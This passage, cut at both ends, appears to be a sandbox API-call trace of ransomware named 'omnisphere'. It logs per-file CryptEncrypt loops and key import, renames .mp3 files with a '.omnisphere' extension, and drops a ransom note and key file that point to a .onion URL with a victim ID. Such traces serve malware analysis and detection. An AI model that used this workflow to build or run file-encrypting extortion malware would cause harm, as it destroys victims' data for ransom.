pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.713] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.713] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.713] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.713] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.713] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.713] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.713] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.713] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.713] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.713] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.714] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.714] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.714] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.714] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.714] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.714] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.714] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.714] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.714] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.714] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.714] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.714] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.714] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.715] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.715] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.715] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.715] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.715] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.715] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.715] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.715] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.715] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.715] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.715] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.715] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.715] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.716] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.716] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.716] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.716] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.716] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.716] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.716] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.716] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.716] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.716] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.716] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.716] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.719] CryptDestroyKey (hKey=0x16394e8) returned 1 [0164.719] CryptReleaseContext (hProv=0x1668ce0, dwFlags=0x0) returned 1 [0164.719] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xc2e3, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0164.719] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0164.720] GetProcessHeap () returned 0x1600000 [0164.720] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x268) returned 0x1775cf8 [0164.720] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\QqgN-Lz9.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\qqgn-lz9.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\QqgN-Lz9.mp3.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\qqgn-lz9.mp3.omnisphere")) returned 1 [0164.721] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\QqgN-Lz9.mp3.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\QqgN-Lz9.mp3.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\QqgN-Lz9.mp3.omnisphere.id" [0164.721] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\QqgN-Lz9.mp3.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\qqgn-lz9.mp3.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0164.723] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0164.724] CloseHandle (hObject=0x3bc) returned 1 [0164.724] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0164.725] CloseHandle (hObject=0x380) returned 1 [0164.725] SetEndOfFile (hFile=0x39c) returned 1 [0164.725] FlushFileBuffers (hFile=0x39c) returned 1 [0164.815] CloseHandle (hObject=0x39c) returned 1 [0164.816] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\QqgN-Lz9.mp3" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0164.816] GetProcessHeap () returned 0x1600000 [0164.816] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1775f68 [0164.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0164.816] GetProcessHeap () returned 0x1600000 [0164.816] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733ae0 [0164.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733ae0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0164.816] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0164.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0164.816] GetProcessHeap () returned 0x1600000 [0164.816] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f9a0 [0164.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f9a0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0164.817] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0164.817] GetProcessHeap () returned 0x1600000 [0164.817] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x17742d0 [0164.817] PathCombineW (in: pszDest=0x17742d0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0164.817] GetProcessHeap () returned 0x1600000 [0164.817] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1751e08 [0164.817] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.817] WriteFile (in: hFile=0x39c, lpBuffer=0x1751e08*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x1751e08*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0164.818] CloseHandle (hObject=0x39c) returned 1 [0164.818] GetProcessHeap () returned 0x1600000 [0164.818] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1775f68 | out: hHeap=0x1600000) returned 1 [0164.818] GetProcessHeap () returned 0x1600000 [0164.818] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a730 [0164.818] PathCombineW (in: pszDest=0x163a730, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0164.818] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.818] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0164.819] CloseHandle (hObject=0x39c) returned 1 [0164.819] GetProcessHeap () returned 0x1600000 [0164.819] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a730 | out: hHeap=0x1600000) returned 1 [0164.819] GetProcessHeap () returned 0x1600000 [0164.819] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163d538 | out: hHeap=0x1600000) returned 1 [0164.819] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde99d500, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0xde99d500, ftLastAccessTime.dwHighDateTime=0x1d5826c, ftLastWriteTime.dwLowDateTime=0xdd68a800, ftLastWriteTime.dwHighDateTime=0x1d5826c, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0xf5, cFileName="qwywod.exe", cAlternateFileName="")) returned 1 [0164.819] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebe99f0, ftCreationTime.dwHighDateTime=0x1d4c829, ftLastAccessTime.dwLowDateTime=0xf30692c0, ftLastAccessTime.dwHighDateTime=0x1d4ca6c, ftLastWriteTime.dwLowDateTime=0xf30692c0, ftLastWriteTime.dwHighDateTime=0x1d4ca6c, nFileSizeHigh=0x0, nFileSizeLow=0x85aa, dwReserved0=0x0, dwReserved1=0xf5, cFileName="RMIrT LtW_D-mpk_75FE.mp3", cAlternateFileName="RMIRTL~1.MP3")) returned 1 [0164.819] GetProcessHeap () returned 0x1600000 [0164.819] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x70) returned 0x1773628 [0164.820] PathCombineW (in: pszDest=0x1773628, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="RMIrT LtW_D-mpk_75FE.mp3" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\RMIrT LtW_D-mpk_75FE.mp3") returned="C:\\Users\\FD1HVy\\Desktop\\RMIrT LtW_D-mpk_75FE.mp3" [0164.820] StrStrW (lpFirst=".omnisphere", lpSrch=".mp3") returned 0x0 [0164.820] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\RMIrT LtW_D-mpk_75FE.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\rmirt ltw_d-mpk_75fe.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.820] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=34218) returned 1 [0164.821] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x8086, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0164.821] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0164.821] GetTickCount () returned 0x1168eca [0164.821] GetTickCount () returned 0x1168eca [0164.821] GetTickCount () returned 0x1168eca [0164.821] GetTickCount () returned 0x1168eca [0164.821] GetTickCount () returned 0x1168eca [0164.821] GetTickCount () returned 0x1168eca [0164.821] GetTickCount () returned 0x1168eca [0164.821] GetTickCount () returned 0x1168eca [0164.821] GetTickCount () returned 0x1168eca [0164.821] GetTickCount () returned 0x1168eca [0164.822] GetTickCount () returned 0x1168eca [0164.822] GetTickCount () returned 0x1168eca [0164.822] GetTickCount () returned 0x1168eca [0164.822] GetTickCount () returned 0x1168eca [0164.822] GetTickCount () returned 0x1168eca [0164.822] GetTickCount () returned 0x1168eca [0164.822] GetTickCount () returned 0x1168eca [0164.822] GetTickCount () returned 0x1168eca [0164.822] GetTickCount () returned 0x1168eca [0164.822] GetTickCount () returned 0x1168eca [0164.822] GetTickCount () returned 0x1168eca [0164.822] GetTickCount () returned 0x1168eca [0164.822] GetTickCount () returned 0x1168eca [0164.822] GetTickCount () returned 0x1168eca [0164.822] GetTickCount () returned 0x1168eca [0164.822] GetTickCount () returned 0x1168eca [0164.822] GetTickCount () returned 0x1168eca [0164.822] GetTickCount () returned 0x1168eca [0164.822] GetTickCount () returned 0x1168eca [0164.822] GetTickCount () returned 0x1168eca [0164.822] GetTickCount () returned 0x1168eca [0164.823] GetTickCount () returned 0x1168eca [0164.823] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668708) returned 1 [0164.823] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639968) returned 1 [0164.823] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0164.824] CryptDestroyKey (hKey=0x1639968) returned 1 [0164.824] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0164.824] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x85aa, lpName=0x0) returned 0x380 [0164.824] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x85aa) returned 0x1480000 [0164.824] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x16682c8) returned 1 [0164.825] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639ae8) returned 1 [0164.825] CryptSetKeyParam (hKey=0x1639ae8, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0164.825] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0164.825] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.825] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.826] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.826] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.826] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.826] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | 